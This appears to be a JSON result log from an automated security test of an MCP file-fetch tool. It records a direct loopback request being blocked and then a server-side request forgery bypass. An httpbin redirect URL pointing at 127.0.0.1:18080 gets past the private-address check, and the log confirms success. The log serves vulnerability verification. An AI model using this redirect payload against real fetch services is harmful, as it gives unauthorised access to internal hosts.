{
  "label": "main-variant",
  "marker": "VARIANT_SSRF_MARKER_1783015938684_hxthl7ty",
  "redirector_url": "http://httpbin.org/redirect-to?url=http%3A%2F%2F127.0.0.1%3A18080%2F&status_code=302",
  "timedOut": false,
  "serverStarted": true,
  "healthcheckPassed": true,
  "toolCallReceived": true,
  "victim_hits": [
    {
      "remote": "127.0.0.1",
      "path": "/",
      "host": "127.0.0.1:18080"
    }
  ],
  "toolResult": {
    "status": "ok",
    "directory": "/data/pruva/runs/fd8b0986-aae9-476e-9f56-120d746759eb/bundle/logs/vuln_variant/mcp-home-main-variant/.auth-fetch-mcp/downloads/2026-07-02T18-12-19",
    "downloaded": 1,
    "total": 2,
    "files": [
      {
        "url": "http://127.0.0.1:18080/direct-control",
        "error": "Refusing to fetch 127.0.0.1 (resolves to private/loopback/link-local address 127.0.0.1). To allow, set AUTH_FETCH_ALLOW_PRIVATE=1 or AUTH_FETCH_ALLOW_HOSTS=127.0.0.1"
      },
      {
        "url": "http://httpbin.org/redirect-to?url=http%3A%2F%2F127.0.0.1%3A18080%2F&status_code=302#v",
        "localPath": "/data/pruva/runs/fd8b0986-aae9-476e-9f56-120d746759eb/bundle/logs/vuln_variant/mcp-home-main-variant/.auth-fetch-mcp/downloads/2026-07-02T18-12-19/file-1.bin",
        "size": 42
      }
    ]
  },
  "control_direct_loopback": {
    "blocked": true,
    "ssrf": null,
    "error": null
  },
  "variant_redirect": {
    "blocked": null,
    "ssrf": true,
    "error": null,
    "downloadedContent": "VARIANT_SSRF_MARKER_1783015938684_hxthl7ty"
  },
  "ssrfConfirmed": true,
  "blocked": false,
  "error": null
}